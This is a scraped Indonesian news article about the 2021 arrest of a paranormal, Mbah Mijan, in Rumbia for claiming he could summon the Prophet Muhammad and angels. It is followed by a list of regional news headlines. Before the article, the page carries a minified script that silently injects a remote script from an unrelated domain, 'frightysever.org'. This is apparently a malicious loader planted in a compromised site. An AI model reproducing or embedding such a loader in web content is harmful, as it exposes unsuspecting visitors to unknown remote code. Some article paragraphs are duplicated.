(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Mengaku Bisa Panggil Malaikat dan Nabi, Mbah Mijan Ditangkap Polisi


KANALKALIMANTAN.COM– Paranormal Mbah Mijan Miharjo ditangkap polisi usai mengaku bisa memanggil sosok Nabi Muhammad. Penahanan tersebut bermula dari laporan masyarakat yang merasa resah atas tingkah dan kepercayaan Mbah Mijan tersebut.

Mbah Mijan dikabarkan mengaku bahwa dirinya bisa memanggil Nabi Muhammad dan juga malaikat.
Kapolsek Rumbia, Iptu Eko Heri Susanto mengatakan laporan berawal dari masyarakat mengungkapkan, Mbah Mijan juga kerap kali mengubah ayat-ayat dalam kitab suci Alquran sehingga membuat makna yang berbeda dari seharusnya.

“Terkuaknya aliran menyimpang ini berawal dari keresahan masyarakat di wilayah setempat,” ujar Eko Heri dilansir dari terkini.id, Rabu (10/3/2021).
Mbah Mijan diketahui ditangkap bersama muridnya, yang juga dikabarkan menganut paham yang menyimpang selama dua tahun terakhir.

Keduanya pun akhirnya diminta mengucap dua kalimat Syahadat di Musala At-Taufik, Kompleks Mapolsek Rumbia yang disaksikan unsur Forkopimcam Rumbia dan Tim Pengawasan Aliran Kepercayaan dan Keagamaan dalam Masyarakat.

“Terkuaknya aliran menyimpang ini berawal dari keresahan masyarakat di wilayah setempat,” ujar Eko Heri, dikutip dari Radar Lampung, Rabu, 10 Maret 2021.
Mbah Mijan diketahui ditangkap bersama muridnya, yang dimana telah dikabarkan menganut paham yang menyimpang selama dua tahun.

Keduanya pun telah mengucap Dua Kalimat Syahadat di Musala At-Taufik, kompleks Mapolsek Rumbia.
Pengucapan kalimat ini disaksikan unsur Forkopimcam Rumbia dan Tim Pengawasan Aliran Kepercayaan dan Keagamaan dalam Masyarakat.

Sementara di media sosial terdapat nama yang sama mbah Mijan juga mengungkapkan kasus ini. Twittannya di media sosial Twitter itupun ramai dikomentari netizen. (suara)

Editor: suara

 

 


Al Ghifari

Recent Posts

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

45 menit ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

4 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

5 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

7 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

9 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

9 jam ago

This website uses cookies.